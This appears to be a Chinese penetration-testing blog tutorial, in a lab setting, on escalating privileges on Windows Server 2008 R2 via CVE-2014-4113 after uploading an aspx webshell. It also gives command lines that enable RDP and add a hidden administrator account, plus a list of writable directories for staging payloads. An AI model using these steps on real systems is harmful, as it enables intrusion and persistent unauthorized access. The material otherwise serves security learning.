当前位置:网站首页>111.网络安全渗透测试—[权限提升篇9]—[Windows 2008 R2内核溢出提权]
111.网络安全渗透测试—[权限提升篇9]—[Windows 2008 R2内核溢出提权]
2022-07-07 09:58:00 【qwsn】
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、Windows内核溢出提权[2008]
1、内核溢出提权背景:
在winserver2008 R2中,服务器默认是支持aspx的。所以默认都是可以执行一些命令。如果没有进行补丁修复可以利用一些溢出提权工具,进行提权。
2、CVE-2014-4113-Exploit
这个版本的提权工具,可以对winserver2008 的系统进行溢出提权
3、内核溢出提权过程:
(1)实验环境:
1.靶机环境:
(1)虚拟机Windows2008【target_sys.com】【192.168.97.131】
(2)脚本语言环境:php/asp语言环境存在
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马
3.网络环境:
(1)VMware搭建的NAT网络
(2)靶机链接:
URL:http://target_sys.com/upload.php
(3)实验过程:
第一步:访问靶机链接,利用MIME突破白名单类型限制,上传up.aspx大马
【以上过程略】以下进行提权过程:
第二步:连接up.aspx大马【密码为admin】,并点击[CmdShell]模块,调用cmd.exe执行whoami命令,查看当前用户信息,发现权限很低
在winserver2008 R2中,服务器默认是支持aspx的。所以默认都是可以执行一些命令:
第三步:点击[CmdShell]模块,调用cmd.exe执行systeminfo命令,把结果复制出来,然后利用wes.py脚本扫描漏洞,但是没有扫出来
扫描结果:扫描失败
第四步: 把systeminfo的信息放入该网址中,检索相关提权exp,最后发现CVE-2014-4113可以提权。同时我们通过msfconsole,键入search kernel也可以检索到一些exp,依次进入然后键入info,发现一些是2008R2的提权exp,下图中的ms14-058就是对应着CVE-2014-4113。

第五步:点击[File Manager]文件管理模块,上传rw.aspx用来扫描可读可写文件夹
第六步:访问刚刚上传的rw.aspx大马,扫描可读可写文件夹
如下图所示,我们扫描到了一些可读可写的文件夹,经过不完全测试,发现网站根目录下可以利用。

第七步:回到刚刚的大马,上传CVE-2014-4113-Exploit的exp到c:\inetpub\wwwroot\target_sys.com下
第八步:点击[CmdShell]模块,调用cmd执行刚刚传上去的cve-2017-4113的exp,如下所示,成功溢出

第九步:依次执行以下命令,开启3389端口,新增管理员组用户demo1,最后再远程连接靶机。
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "netstat -ano" #查看端口状态
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f" #开启3389
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "netstat -ano" #验证是否开启3389
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "net user demo1 123 /add"#添加用户demo1/213
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "net localgroup administrators demo1 /add" #把demo1用户加入管理员组
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "net user" #验证demo1用户是否存在
mstsc远程桌面连接:

附:常见可读写目录
≤2003可读写目录
C:\RECYCLER\
D:\RECYCLER\
E:\RECYCLER\
C:\Windows\temp\
C:\Windows\Debug\
C:\Windows\Registration\CRMLog\
C:\Documents and Settings\All Users\Documents\
≥2008可读写目录
C:\ProgramData\
C:\Windows\temp\
C:\Windows\Tasks\
C:\Windows\tracing\ //不可删
C:\Windows\debug\WIA\
C:\Windows\servicing\Sessions\
C:\Windows\servicing\Packages\
C:\Windows\Registration\CRMLog\
C:\Windows\System32\spool\drivers\color\
C:\Users\Default\AppData\ //不可删
C:\ProgramData\Microsoft\DeviceSync\
C:\ProgramData\Microsoft\Crypto\DSS\MachineKeys\
C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\
C:\ProgramData\Microsoft\User Account Pictures\ //不可删
C:\Users\All Users\Microsoft\NetFramework\BreadcrumbStore\ //不可删
C:\ProgramData\Microsoft\Windows\WER\ReportArchive\
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
C:\Windows\syswow64\tasks\microsoft\Windows\pla\system\
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Temporary ASP.NET Files\
C:\Windows\System32\catroot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\
C:\Windows\System32\catroot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\
边栏推荐
- Automated testing framework
- Camera calibration (2): summary of monocular camera calibration
- There are so many factors that imprison you
- How to write test cases for test coupons?
- 【纹理特征提取】基于matlab局部二值模式LBP图像纹理特征提取【含Matlab源码 1931期】
- 从工具升级为解决方案,有赞的新站位指向新价值
- 千人規模互聯網公司研發效能成功之路
- [question] Compilation Principle
- Swiftui swift internal skill: five skills of using opaque type in swift
- Talk about SOC startup (11) kernel initialization
猜你喜欢

UP Meta—Web3.0世界创新型元宇宙金融协议

Fleet tutorial 19 introduction to verticaldivider separator component Foundation (tutorial includes source code)

The annual salary of general test is 15W, and the annual salary of test and development is 30w+. What is the difference between the two?

Flet教程之 14 ListTile 基础入门(教程含源码)

本地navicat连接liunx下的oracle报权限不足

What is cloud computing?
![110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]](/img/62/1ec8885aaa2d4dca0e764b73a1e2df.png)
110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]

.NET MAUI 性能提升

Explore cloud database of cloud services together

【纹理特征提取】基于matlab局部二值模式LBP图像纹理特征提取【含Matlab源码 1931期】
随机推荐
STM32 entry development write DS18B20 temperature sensor driver (read ambient temperature, support cascade)
从工具升级为解决方案,有赞的新站位指向新价值
深度学习秋招面试题集锦(一)
How to connect 5V serial port to 3.3V MCU serial port?
Common SQL statement collation: MySQL
Enclosed please find. Net Maui's latest learning resources
Matlab implementation of Huffman coding and decoding with GUI interface
Mastering the new functions of swiftui 4 weatherkit and swift charts
. Net Maui performance improvement
How to write test cases for test coupons?
清华姚班程序员,网上征婚被骂?
Talk about SOC startup (11) kernel initialization
超标量处理器设计 姚永斌 第9章 指令执行 摘录
How to add aplayer music player in blog
软件内部的定时炸弹:0-Day Log4Shell只是冰山一角
《论文阅读》Neural Approaches to Conversational AI(1)
[extraction des caractéristiques de texture] extraction des caractéristiques de texture de l'image LBP basée sur le mode binaire local de Matlab [y compris le code source de Matlab 1931]
大佬们有没有人遇到过 flink oracle cdc,读取一个没有更新操作的表,隔十几秒就重复读取
[full stack plan - programming language C] basic introductory knowledge
【最短路】ACwing 1127. 香甜的黄油(堆优化的dijsktra或spfa)
